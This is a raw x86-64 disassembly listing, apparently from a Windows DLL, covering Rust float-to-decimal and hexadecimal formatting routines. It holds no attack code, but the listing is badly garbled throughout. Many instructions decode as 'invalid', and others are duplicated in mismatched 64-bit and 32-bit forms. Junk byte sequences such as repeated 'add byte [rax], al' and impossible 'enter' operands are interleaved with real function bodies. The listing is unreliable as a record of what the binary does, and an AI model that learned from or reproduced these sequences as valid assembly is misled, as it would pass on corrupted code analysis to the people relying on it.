nop dword [rax]
lea rax, [r15 + r13]
cmp rax, 0xffffffffffffffff
je 0x18002b69c
invalid
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
inc r15
test al, al
je 0x18002b680
jmp 0x18002b69f
mov r15, r12
cmp r15, r12
setb al
mov r13d, dword [rbp]
mov dword [rsi + 0x30], r13d
movzx ecx, byte [rbp + 7]
mov byte [rsi + 0x38], cl
invalid
invalid
outsb dx, byte [rsi]
xor byte [rdi], cl
mov dh, 0x4d
invalid
cmp byte [rax - 0x7d], r9b
invalid
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
int3
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
mov r8, qword [r8 + 8]
test r8, r8
je 0x18002b70c
mov rdx, qword [rbx]
mov rcx, rdi
call qword [rsi + 0x18]
mov ecx, eax
mov al, 1
add dword [rcx + rcx*8 + 0x21f850f], eax
add byte [rax], al
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x18002b929
add al, byte [rax]
add byte [rbx + rcx*4 + 0x63], cl
adc byte [rax - 0x73], cl
add al, 0x40
mov r12, qword [rbx + 0x10]
lea rax, [rax + rax*2]
lea r13, [r12 + rax*8]
sub al, 0xc4
lea rbx, [0x180071698]
mov r14, rbp
jmp 0x18002b75e
add byte [rax], al
mov rcx, rdi
mov rdx, r14
call qword [rsi + 0x18]
test al, al
jne 0x18002b925
add r12, 0x18
cmp r12, r13
je 0x18002b929
movzx eax, word [r12]
test eax, eax
je 0x18002b7b0
cmp eax, 1
jne 0x18002b800
movzx ecx, word [r12 + 2]
mov byte [rbp + 4], 0
mov dword [rbp], 0
movzx eax, cx
cmp ecx, 0x3e8
jae 0x18002b812
mov r8d, 1
cmp cx, 0xa
jb 0x18002b821
cmp cx, 0x64
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
jmp 0x18002b81d
jno 0x18002b7bc
invalid
mov r15, qword [r12 + 8]
cmp r15, 0x41
cmp edi, 0x41
jb 0x18002b901
add dword [rax], eax
add dword [rax], eax
add byte [rbx + rcx*4 + 0x76], cl
sbb byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov r14, qword [rsi + 0x18]
nop word cs:[rax + rax]
mov r8d, 0x40
mov rcx, rdi
mov rdx, rbx
call r14
test al, al
jne 0x18002b925
add r15, 0xffffffffffffffc0
cmp r15, 0x40
ja 0x18002b7d0
jmp 0x18002b90e
nop dword cs:[rax + rax]
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
and al, 0x10
and al, 0x10
mov rcx, rdi
jmp 0x18002b746
cmp eax, 0x2710
mov r8d, 5
sbb r8, 0
lea r9, [r8 + rbp]
dec r9
imul edx, eax, 0xcccd
shr edx, 0x13
lea r10d, [rdx + rdx]
lea r10d, [r10 + r10*4]
sub ecx, r10d
or cl, 0x30
mov byte [rbp + r8 - 1], cl
cmp r14, r9
je 0x18002b740
lea rcx, [r8 + rbp]
lea r9, [rcx - 2]
movzx edx, dx
imul r10d, edx, 0x199a
shr r10d, 0xf
and r10d, 0xfffffffe
lea r10d, [r10 + r10*4]
sub edx, r10d
or dl, 0x30
mov byte [rcx - 2], dl
cmp r14, r9
je 0x18002b740
mov edx, eax
shr edx, 2
imul edx, edx, 0x147b
shr edx, 0x11
adc dword [rbp + rcx*4 + 0x49], ecx
std
adc dword [rbp + rcx*4 + 0x49], ecx
std
imul r10d, edx, 0x199a
shr r10d, 0xf
shr edx, 0xf
shr edx, 0xf
and r10d, 0xfffffffe
lea r10d, [r10 + r10*4]
sub edx, r10d
or dl, 0x30
mov byte [rcx - 3], dl
std
std
cmp r14, r9
je 0x18002b740
mov edx, eax
shr edx, 3
imul edx, edx, 0x20c5
shr edx, 0x14
lea r9, [rcx - 4]
imul r10d, edx, 0x199a
shr r10d, 0xf
and r10d, 0xfffffffe
lea r10d, [r10 + r10*4]
sub edx, r10d
or dl, 0x30
xor byte [rax + 0x394dfc51], cl
invalid
xor byte [rax + 0x394dfc51], cl
invalid
cmp esi, ecx
je 0x18002b740
shr eax, 4
imul eax, eax, 0x347
shr eax, 0x13
or al, 0x30
mov byte [rcx - 5], al
add cl, al
call 0x10832c50d
sti
jmp 0x18002b740
invalid
test r15, r15
je 0x18002b751
dec dword [rdi]
test byte [rdi - 2], al
invalid
mov r14, qword [rsi + 0x18]
mov esi, dword [rsi + 0x18]
mov rcx, rdi
mov rdx, rbx
fimul dword [rbp - 0x77]
clc
fimul dword [rbp - 0x77]
clc
call r14
test al, al
mov r14, rbp
je 0x18002b751
mov al, 1
jmp 0x18002b92b
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
mov r9, qword [rdx + 0x18]
movsd xmm1, qword [rcx]
and r8b, 1
mov rcx, rdx
pop rbp
jmp fcn.18002b9d0
movd mm0, ecx
ucomisd xmm0, qword [0x18006c788]
movq xmm1, rax
jae 0x18002b9bb
movsd xmm2, qword [0x18006c780]
movapd xmm3, xmm0
cmpltpd xmm3, xmm2
xorpd xmm2, xmm2
cmpneqpd xmm2, xmm0
cmpneqps xmm2, xmm0
cmpneqps xmm2, xmm0
andpd xmm2, xmm3
movd eax, xmm2
test al, 1
jne 0x18002b9bb
and r8b, 1
mov rcx, rdx
pop rbp
jmp 0x18002be00
and r8b, 1
mov rcx, rdx
pop rbp
jmp 0x18002c090
invalid
add ah, cl
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4d8
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
movq r10, xmm1
mov r8, r10
shr r8, 0x34
and r8d, 0x7ff
lea rdx, [r10 + r10]
movabs r11, 0x1ffffffffffffe
and r11, rdx
movabs rdi, 0xfffffffffffff
mov edi, 0xffffffff
invalid
dec dword [rdi]
add byte [rcx + riz - 0x29], cl
movabs rsi, 0x10000000000000
retf 0x894d
mov edi, 0xffffffff
invalid
add byte [rax], al
add byte [rax], al
adc byte [rax], al
lea rdx, [rdi + rsi]
test r8d, r8d
ror byte [rcx + 0xf], 0x44
shl dword [rsi + 0xf], cl
leave
ror byte [rcx + 0xf], 0x44
shl dword [rsi + 0xf], cl
leave
jp 0x18002bdd1
mov r11d, edx
and r11d, 1
add dword [rcx - 0x42], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
jg case.0x180006b46.346
mov ebx, edx
and rbx, r14
test rdi, rdi
je 0x18002ba71
add dword [rcx - 0x42], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test rbx, rbx
jne 0x18002ba80
add r8d, 0xfffffbcd
xor r11b, 1
mov esi, 1
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
add bl, ch
cmp rbx, r14
cmp rbx, r14
jne 0x18002ba7b
mov r11b, 3
jmp 0x18002bab5
test rbx, rbx
je 0x18002bab2
lea rdi, [rdx + rdx]
xor ebx, ebx
cmp rdx, rsi
cmp edx, esi
sete bl
movabs rdx, 0x40000000000000
cmovne rdx, rdi
cmovne edx, edi
lea rsi, [rbx + 1]
jae 0x18002ba9f
movzx r8d, r8w
movzx eax, ax
sub r8d, ebx
add r8d, 0xfffffbcc
add eax, 0xfffffbcc
add eax, 0xfffffbcc
ror ah, 0xfb
invalid
xor r11b, 1
jmp 0x18002bab5
mov r11b, 4
mov qword [rbp + 0x3b0], rdx
mov dword [rbp + 0x3b0], edx
mov qword [rbp + 0x3b8], 1
mov qword [rbp + 0x3c0], rsi
mov word [rbp + 0x3c8], r8w
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x3ca], r11b
cmp r11b, 2
jne case.default.0x18002bb12
lea r14, [0x180081690]
lea esi, [0x180081690]
xor ebx, ebx
add r11b, 0xfe
movzx eax, r11b
cmp al, 3
mov r10d, 3
cmovb r10d, eax
movzx eax, r10b
lea r10, [0x18008265c]
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
test al, al
je 0x18002bb5a
test r10, r10
lea rax, [0x18007b2c9]
lea r14, [0x180071093]
cmovs r14, rax
mov ebx, 1
add r11b, 0xfe
movzx eax, r11b
cmp al, 3
mov r10d, 3
cmovb r10d, eax
movzx eax, r10b
lea r10, [0x18008265c]
imul eax, dword [0x184660455], 0xffffff82
imul eax, dword [0x184660455], 0xffffff82
add rax, r10
jmp rax
mov rbx, r10
shr rbx, 0x3f
shr ebx, 0x3f
shr ebx, 0x3f
test r10, r10
lea rax, [0x18007b2c9]
ror byte [rax - 0x73], cl
add eax, 0x4f75e
lea r14, [0x180081690]
cmovs r14, rax
cmovs esi, eax
invalid
cmovs esi, eax
add r11b, 0xfe
movzx eax, r11b
movzx eax, bl
movzx eax, bl
cmp al, 3
mov r10d, 3
add byte [rax], al
add byte [rdi + rcx + 0x42], al
invalid
add byte [rax], al
add byte [rdi + rcx + 0x42], al
rol byte [rcx + 0xf], 1
movzx eax, r10b
movzx eax, r10b
movzx eax, dl
lea r10, [0x18008265c]
movsxd rax, dword [r10 + rax*4]
add rax, r10
add eax, edx
add eax, 0x4634900
invalid
add eax, edx
jmp rax
mov word [rbp + 0x3d0], 2
add byte [rax], al
add al, byte [rax]
lea rax, [0x180071094]
jmp 0x18002bca2
out dx, eax
add byte [rax], al
invalid
out dx, eax
add byte [rax], al
add byte [rsi - 0x39], ah
mov word [rbp + 0x3d0], 2
test r9, r9
mov word [rbp + 0x3d0], 2
add byte [rax], al
add al, byte [rax]
test r9, r9
je 0x18002bcc5
lea rax, [0x180071058]
mov word [rsp + rax], ss
mov qword [rbp + 0x3d8], rax
fadd dword [rbx]
add byte [rax], al
mov qword [rbp + 0x3e0], 2
mov word [rbp + 0x3e8], 0
mov dword [rbp + 0x3e8], 0x894c0000
invalid
lock add eax, dword [rax]
invalid
mov dword [rbp + 0x3e8], 0x894c0000
invalid
mov dword [rbp + 0x3f0], ecx
mov edx, 2
add al, byte [rax]
add byte [rax], al
lea rsi, [rbp + 0x3d0]
add byte [rax], al
jmp 0x18002bd94
mov r15, rcx
test r8w, r8w
mov rax, 0xfffffffffffffff4
mov ecx, 5
cmovs rcx, rax
movsx rdi, r8w
imul rdi, rcx
cmp rdi, 0x3ec0
jae 0x18002bdd9
shr rdi, 4
add rdi, 0x15
mov eax, r9d
neg eax
mov r12, r9
cmp r9, 0x8000
mov r13d, 0x8000
cmovb r13d, eax
mov qword [rsp + 0x20], rdi
mov word [rsp + 0x28], r13w
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x28], r13d
lea rsi, [rbp + 0x3d0]
lea r9, [rbp - 0x50]
mov rcx, rsi
call fcn.180024c70
nop
invalid
dec dword [rax - 0x7d]
mov ebp, 0x3d0
invalid
nop
invalid
je 0x18002bce0
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x440], rax
test eax, esp
add eax, dword [rax]
add byte [rax - 0x77], cl
test dword [rax + 4], eax
add byte [rax], al
movups xmm0, xmmword [rbp + 0x3d0]
movaps xmmword [rbp + 0x430], xmm0
add bl, ch
outsb dx, byte [rsi]
add bl, ch
outsb dx, byte [rsi]
mov word [rbp + 0x3d0], 2
lea rax, [0x180071097]
cmc
push rbx
add al, 0
cmc
push rbx
add al, 0
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 3
invalid
test eax, ebx
add eax, dword [rax]
add byte [rax - 0x39], cl
test eax, esp
add eax, dword [rax]
add byte [rbx], al
add byte [rax], al
add byte [rdx + 1], bh
mov edx, 1
lea rsi, [rbp + 0x3d0]
jmp 0x18002bd94
add byte [rax], al
add eax, dword [rax]
add cl, ch
iretd
add byte [rax], al
lea rax, [0x18007b2ca]
mov qword [rbp + 0x3d8], rax
add byte [rax - 0x39], cl
test eax, esp
add eax, dword [rax]
add byte [rcx], al
mov qword [rbp + 0x3e0], 1
mov dword [rbp + 0x3e0], 1
add byte [rax], al
add bl, ch
invalid
jmp 0x18002bcb4
mov word [rsp + 0x20], r13w
mov dword [rsp + 0x20], ebp
insb byte [rdi], dx
and al, 0x20
lea rcx, [rbp + 0x430]
lea rdx, [rbp + 0x3b0]
add byte [rax], al
add byte [rax], al
lea r8, [rbp - 0x50]
mov r9, rdi
call fcn.180023630
xor byte [rcx - 1], bh
invalid
xor byte [rcx - 1], bh
inc dword [rdi + rcx - 0x49]
movzx r8d, word [rbp + 0x440]
movzx r8d, word [rbp + 0x440]
cmp r8w, r13w
mov r9, r12
jle 0x18002bd35
invalid
call 0x1fee4465d
and al, 0x48
mov ecx, dword [rbp + 0x430]
add al, 0
invalid
mov rcx, qword [rbp + 0x430]
mov rdx, qword [rbp + 0x438]
lea rax, [rbp + 0x3d0]
lea eax, [rbp + 0x3d0]
lea eax, [rbp + 0x3d0]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
call fcn.1800252b0
mov rsi, rax
jmp 0x18002bd91
pop rsp
mov word [rbp + 0x3d0], 2
test r9, r9
leave
leave
je case.0x180004bed.324
lea rax, [0x180071058]
lea eax, [0x180071058]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 2
mov word [rbp + 0x3e8], 0
add byte [rax], al
add byte [rax - 0x39], cl
test eax, esp
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rsi - 0x39], ah
test eax, ebp
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x3f0], r9
mov edx, 2
mov qword [rbp + 0x3f0], r9
mov edx, 2
jmp 0x18002bd91
lea rax, [0x18007b2ca]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 1
mov edx, 1
test eax, esp
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rdx + 1], bh
mov rcx, r15
mov qword [rbp + 0x430], r14
mov qword [rbp + 0x438], rbx
mov qword [rbp + 0x440], rsi
add al, 0
invalid
xor byte [rax + rax], al
add byte [rax - 0x77], cl
popfq
cmp byte [rax + rax], al
add byte [rax - 0x77], cl
mov ch, 0x40
add al, 0
add byte [rax - 0x77], cl
xchg ebp, eax
add al, 0
add byte [rax - 0x73], cl
xchg ebp, eax
xor byte [rax + rax], al
add byte [rax], al
mov qword [rbp + 0x448], rdx
lea rdx, [rbp + 0x430]
call fcn.18002b4a0
nop
add rsp, 0x4d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add al, ch
in al, 0xf6
invalid
mov r11b, 2
jmp 0x18002bab5
lea rcx, [0x18007109d]
lea r8, str.librarycore_src_num_flt2decmod.rs
push rdx
add al, 0
mov edx, 0x25
call fcn.180069820
int3
add byte [rax], al
add al, ch
invalid
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0xe0
loopne 0x18002be0b
add byte [rax], al
loopne 0x18002be0b
add byte [rax], al
lea rbp, [rsp + 0x80]
movq rdi, xmm1
jle 0x18002bde9
add byte [rsi + 0x48], ah
movd edi, mm1
jle 0x18002bde9
jle 0x18002bde9
iretd
mov rdx, rdi
shr rdx, 0x34
and edx, 0x7ff
lea rax, [rdi + rdi]
lea eax, [rdi + rdi]
movabs rsi, 0x1ffffffffffffe
and rsi, rax
invalid
movabs r11, 0xfffffffffffff
and r11, rdi
movabs r10, 0x10000000000000
lea r9, [r11 + r10]
test edx, edx
cmove r9, rsi
invalid
invalid
ucomisd xmm1, xmm1
jp 0x18002c07d
invalid
invalid
mov eax, r9d
and eax, 1
loopne 0x18002be6a
loopne 0x18002be6a
movabs rbx, 0x7ff0000000000000
mov rsi, rdi
and rsi, rbx
test r11, r11
je 0x18002be93
mov ebx, 0
add byte [rax], al
invalid
test rsi, rsi
jne 0x18002bea1
add edx, 0xfffffbcd
xor al, 1
mov r10d, 1
jmp 0x18002bed1
cmp rsi, rbx
jne 0x18002be9c
mov al, 3
jmp 0x18002bed1
test rsi, rsi
je 0x18002becf
lea r11, [r9 + r9]
xor esi, esi
cmp r9, r10
sete sil
movabs r9, 0x40000000000000
cmovne r9, r11
lea r10, [rsi + 1]
movzx edx, dx
sub edx, esi
add edx, 0xfffffbcc
xor al, 1
jmp 0x18002bed1
mov al, 4
mov qword [rbp + 0x20], r9
mov qword [rbp + 0x28], 1
mov qword [rbp + 0x30], r10
mov word [rbp + 0x38], dx
mov byte [rbp + 0x3a], al
cmp al, 2
jne case.default.0x18002bf15
lea rbx, [0x180081690]
xor edi, edi
add al, 0xfe
movzx eax, al
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
lea rdx, [0x18008266c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
add eax, edx
jmp rax
test r8b, r8b
je 0x18002bf58
test rdi, rdi
test edi, edi
lea rdx, [0x18007b2c9]
lea rbx, [0x180071093]
add byte [rax + 0xf], cl
fidivr dword [rdi + 1]
add byte [rax], al
invalid
add byte [rax + 0xf], cl
fidivr dword [rdi + 1]
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + rdi*8], al
add al, 0xfe
movzx eax, al
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
ror byte [rdi], 1
mov dh, 0xc2
lea rdx, [0x18008266c]
movsxd rax, dword [rdx + rax*4]
add al, 0x82
add al, 0x82
invalid
add rax, rdx
jmp rax
test rdi, rdi
lea rdx, [0x18007b2c9]
add al, 0
add al, 0
add byte [rax - 0x73], cl
sbb eax, 0x55727
lea rbx, [0x180081690]
lea ebx, [0x180081690]
cmovs rbx, rdx
shr rdi, 0x3f
out dx, eax
invalid
fimul dword [rax - 0x3f]
out dx, eax
invalid
add al, 0xfe
dec byte [rdi]
mov dh, 0xc0
movzx eax, al
cmp al, 3
mov edx, 3
cmovb edx, eax
invalid
ror byte [rdi], 1
mov dh, 0xc2
invalid
movzx eax, dl
ret 0x8d48
lea rdx, [0x18008266c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
add eax, edx
sar bh, 1
jmp rax
loopne 0x18002bffa
mov word [rbp - 0x40], 2
lea rax, [0x180071094]
invalid
mov dword [rbp - 0x40], 0x8d480002
add eax, 0x450f4
invalid
add bl, ch
imul esp, dword [rsi - 0x39], 0x45
mov word [rbp - 0x40], 2
jmp 0x18002c00d
mov word [rbp - 0x40], 2
lea rax, [0x180071058]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
mov qword [rbp - 0x30], 2
mov word [rbp - 0x28], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
loopne 0x18002bfc7
mov qword [rbp - 0x20], 1
add byte [rax], al
add byte [rdx + 2], bh
add byte [rax], al
mov edx, 2
jmp 0x18002c01e
mov r14, rcx
lea rsi, [rbp - 0x40]
lea rdx, [rbp + 0x20]
lea r8, [rbp - 0x51]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call fcn.180024470
cmp qword [rbp - 0x40], 0
je 0x18002c024
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x50], rax
ror byte [r8 - 0x77], 1
push r8
movups xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x40], xmm0
jmp 0x18002c035
mov word [rbp - 0x40], 2
lea rax, [0x180071097]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 3
mov edx, 1
lea rax, [rbp - 0x40]
jmp 0x18002c055
lea rcx, [rbp + 0x40]
lea ecx, [rbp + 0x40]
lea rdx, [rbp + 0x20]
lea r8, [rbp - 0x51]
call fcn.180022390
invalid
dec dword [rax - 0x75]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
movzx r8d, word [rbp + 0x50]
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x20], esi
je 0x18002c06a
and byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov r9d, 1
call fcn.1800252b0
mov rcx, r14
mov ecx, esi
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
lea rdx, [rbp + 0x40]
call fcn.18002b4a0
nop
add rsp, 0xe0
add byte [rax], al
add byte [rbx + 0x5f], bl
xor dh, ah
invalid
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rbp
ret
mov al, 2
jmp 0x18002bed1
dec esp
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
movq rax, xmm1
mov r9, rax
shr r9, 0x34
and r9d, 0x7ff
lea rdx, [rax + rax]
movabs rdi, 0x1ffffffffffffe
and rdi, rdx
movabs rsi, 0xfffffffffffff
and rsi, rax
movabs r11, 0x10000000000000
lea r10, [rsi + r11]
test r9d, r9d
cmove r10, rdi
ucomisd xmm1, xmm1
jp 0x18002c2fc
mov edx, r10d
and edx, 1
movabs rbx, 0x7ff0000000000000
mov rdi, rax
and rdi, rbx
test rsi, rsi
je 0x18002c125
test rdi, rdi
jne 0x18002c133
add r9d, 0xfffffbcd
xor dl, 1
mov r11d, 1
jmp 0x18002c167
cmp rdi, rbx
jne 0x18002c12e
mov dl, 3
jmp 0x18002c167
test rdi, rdi
je 0x18002c165
lea rsi, [r10 + r10]
xor edi, edi
cmp r10, r11
sete dil
movabs r10, 0x40000000000000
cmovne r10, rsi
lea r11, [rdi + 1]
movzx r9d, r9w
sub r9d, edi
add r9d, 0xfffffbcc
xor dl, 1
jmp 0x18002c167
mov dl, 4
mov qword [rbp + 0x50], r10
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], r11
mov word [rbp + 0x68], r9w
mov byte [rbp + 0x6a], dl
cmp dl, 2
jne case.default.0x18002c1ae
lea rdi, [0x180081690]
xor esi, esi
add dl, 0xfe
movzx eax, dl
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
lea rdx, [0x18008267c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
test r8b, r8b
je 0x18002c1f2
test rax, rax
lea rax, [0x18007b2c9]
lea rdi, [0x180071093]
cmp eax, 0x44ecd
cmp eax, 0x44ecd
cmovs rdi, rax
mov esi, 1
add dl, 0xfe
ret 0xffe
mov dh, 0xc2
ret 0xffe
dec byte [rdi]
mov dh, 0xc2
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
mov dh, 0xc2
ret 0x8d48
lea rdx, [0x18008267c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
invalid
sar bh, 1
jmp rax
loopne 0x18002c23b
mov rsi, rax
mov esi, eax
shr rsi, 0x3f
test rax, rax
lea rax, [0x18007b2c9]
invalid
invalid
add al, 0
invalid
invalid
add al, 0
lea rdi, [0x180081690]
cmovs rdi, rax
add dl, 0xfe
invalid
invalid
ret 0xffe
dec byte [rdi]
mov dh, 0xc2
movzx eax, dl
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
mov dh, 0xc2
mov dh, 0xc2
ret 0x8d48
lea rdx, [0x18008267c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
loopne 0x18002c298
mov word [rbp - 0x40], 2
lea rax, [0x180071094]
mov dword [rbp - 0x40], 0x8d480002
add eax, 0x44e56
add al, 0
jmp 0x18002c28c
mov word [rbp - 0x40], 2
mov word [rbp - 0x40], 2
lea rax, [0x18007109a]
jmp 0x18002c28c
mov rbx, rcx
lea rcx, [rbp - 0x40]
lea rdx, [rbp + 0x50]
lea r8, [rbp - 0x51]
call fcn.180024470
or eax, 0x48ffff82
cmp dword [rbp - 0x40], 0
or eax, 0x48ffff82
cmp dword [rbp - 0x40], 0
je 0x18002c2a3
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x80], eax
mov dword [rbp + 0x80], eax
movups xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x70], xmm0
jmp 0x18002c2b4
mov word [rbp - 0x40], 2
lea rax, [0x180071097]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 3
mov edx, 1
lea rax, [rbp - 0x40]
jmp 0x18002c2d0
lea rcx, [rbp + 0x70]
lea rdx, [rbp + 0x50]
lea r8, [rbp - 0x51]
call fcn.180022390
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
movzx r8d, word [rbp + 0x80]
lea r9, [rbp - 0x40]
call fcn.180025400
mov rcx, rbx
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
lea rdx, [rbp + 0x70]
call fcn.18002b4a0
nop
add rsp, 0x118
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov dl, 2
jmp 0x18002c167
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov r8d, 0x81
nop word cs:[rax + rax]
movzx r9d, cx
mov ecx, r9d
shr ecx, 4
mov eax, r9d
and al, 0xf
lea r10d, [rax + 0x30]
lea r11d, [rax + 0x37]
cmp al, 0xa
movzx eax, r10b
movzx r10d, r11b
cmovb r10d, eax
mov rax, r8
mov byte [rbp + r8 - 0x52], r10b
dec r8
cmp r9w, 0x10
jae 0x18002c330
add rax, 0xfffffffffffffffe
cmp rax, 0x81
jae 0x18002c3ad
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov eax, dword [rcx]
mov r9d, 0x81
mov r8d, eax
nop dword [rax + rax]
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x18002c3f0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x18002c46e
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x18007b53b]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.180020560
nop
add rsp, 0xb0
pop rbp
ret
lea r8, [0x1800715b8]
mov edx, 0x80
call fcn.180069790
int3
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov rax, rcx
mov r9d, 0x81
add byte [rax], al
add byte [rcx - 0x77], cl
enter 0x1f0f, 0x40
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
enter 0x1f0f, 0x40
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
mov ecx, ecx
shr r8, 4
mov r9d, eax
mov ecx, eax
call 0x1418c05ae
mov ecx, eax
and r9b, 0xf
and cl, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
invalid
cmp r9b, 0xa
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
xor byte [rbp - 0x73], al
pop rcx
invalid
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
movzx ecx, dl
movzx r10d, r11b
movzx edx, bl
rol dword [rbp + 0xf], cl
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
mov byte [rbp + rcx - 0x52], dl
rol dword [rax + r9*4 + 0x54], 1
mov byte [rbp + rcx - 0x52], dl
or eax, 0x498d4cae
dec dword [rax - 0x7d]
invalid
scasb al, byte [rdi]
lea r9, [rcx - 1]
cmp rax, 0x10
cmp eax, 0x10
dec qword [r8 - 0x7d]
cmp eax, 0x10
clc
adc byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
mov rax, r8
jae 0x18002c4a0
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
cmp rcx, 0x81
add byte [rax], al
add byte [rbx + 0x3a], dh
jae case.0x180066c72.199
add byte [rax], al
jae case.0x180066c72.199
mov eax, 0x81
add byte [rax], al
add byte [rcx + rbp - 0x38], cl
sub rax, r9
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
and al, 0x28
mov al, 0x48
mov dword [rsp + 0x28], eax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x18007b53b]
mov r9d, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdx
mov dl, 1
sal dword [rdx + 0x404be801], 1
call fcn.180020560
nop
invalid
add rsp, 0xb0
add esp, 0xb0
pop rbp
ret
lea r8, [0x1800715b8]
lea eax, [0x1800715b8]
push rax
add al, 0
invalid
mov edx, 0x80
add byte [rax], al
call fcn.180069790
invalid
rol byte [rbx], cl
add ah, cl
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
pop rax
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
and al, 0x50
mov r9d, dword [rcx]
mov ecx, dword [rcx]
or dword [rbp - 0x77], eax
mov r8d, r9d
mov eax, ecx
enter 0xfffffffffffff741, 0xffffffffffffffd8
neg r8d
neg eax
fadd dword [rbp + 0xf]
cmovs r8d, r9d
mov rcx, rdx
mov ecx, edx
ror qword [rax - 0x77], 0xd1
ror dword [rax - 0x77], 0xd1
mov ecx, edx
mov eax, 0x27
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x15], cl
